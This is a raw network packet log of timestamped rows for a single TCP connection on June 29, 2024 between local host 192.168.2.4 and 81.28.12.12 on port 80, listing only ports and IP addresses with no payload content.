Jun 29, 2024 08:05:17.424823999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424875021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424907923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.424928904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.424959898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425002098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425030947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425074100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425102949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425153017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425188065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425209045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425239086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425272942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425293922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425323963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425350904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425369978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425398111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425431013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425463915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425493956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425523996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425554991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425569057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425599098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425631046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425649881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425676107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425702095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425734043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425766945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425795078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425816059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425841093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425873995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425899029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.425930023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425971031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.425985098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426013947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426037073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426070929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426101923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426121950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426153898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426186085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426206112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426239967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426271915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426292896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426322937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426356077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426377058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426408052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426430941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426465034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426512957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.426702976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426745892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.426808119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431207895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431241989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431274891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431294918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431314945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431334972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431364059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431399107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431432962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431453943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431480885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431505919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431538105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431571960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431603909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431626081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431647062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431678057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431710005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431742907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.431771040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431791067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.431818962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.432012081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.494895935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.494956970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.494981050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495012045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495071888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495104074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495150089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495177031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495209932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495244026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495264053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495297909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495332003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495368958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495388985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495419025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495450974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495466948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495491982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495524883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495610952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.495642900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495659113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.495685101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.497380972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.497852087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.497905016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.497932911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.497958899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.497984886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.498034954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.498056889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.498089075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.498109102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.498140097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.498174906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.498194933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.498223066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.499064922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499118090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499138117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.499171972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499195099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.499244928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499278069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499299049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.499326944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.499351025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499387026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.499449015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512270927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512335062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512351990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512383938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512432098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512476921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512532949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512588978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512643099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512660980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512692928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512715101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512747049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512787104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512806892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512833118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512867928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512900114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.512949944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.512983084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513003111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513042927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513070107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513104916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513164043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513184071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513232946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513263941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513283968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513315916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513350010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513370037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513395071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513425112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513458014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513490915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513510942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513539076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513562918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513595104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513622999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513658047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513691902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513719082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513735056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513767004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513787985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513819933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513843060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513875008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513926983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.513950109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.513999939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514055014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514071941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514113903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514128923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514170885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514200926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514252901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514275074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514316082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514343023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514375925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514405012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514422894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514451981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514504910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514554977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514588118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514617920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514648914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514664888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514714956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514748096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514769077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514818907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514868975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514890909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.514921904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514955044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.514976025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515006065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515038967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515058994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515086889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515116930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515136957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515166044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515188932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515219927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515254021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515285969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515315056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515351057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515367031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515397072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515430927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515450001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515475988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515501976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515527010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515551090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515583038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515618086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515691042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515732050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515747070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515784979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515799999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515831947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515865088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515887976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515911102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.515939951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515973091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.515995026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516026020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516057014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516077042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516108990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516141891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516161919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516191959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516222954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516243935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516396046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516447067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516479969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516561985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516590118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516623020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516655922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516675949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516724110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516756058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516777992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516812086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516830921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516861916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516896009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516916037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.516947031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.516976118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.517008066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.517024994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.517059088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.517092943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.517115116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.517138004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.584851027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.584884882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.584918976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.584940910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.584963083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585014105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585129023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585161924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585186958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585207939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585237026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585269928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585304022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585359097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585372925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585405111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585438013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585457087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585489035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585522890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585542917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.585572004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.585685015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.587562084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587630987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.587702990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587735891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587754965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.587788105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587821960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587841034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.587873936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.587893963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587929010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.587976933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588627100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588680029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588713884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588737011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588774920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588803053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588835955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588870049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588890076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588922977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.588949919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588978052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.588998079 CEST	80	49731	81.28.12.12	192.168.2.4
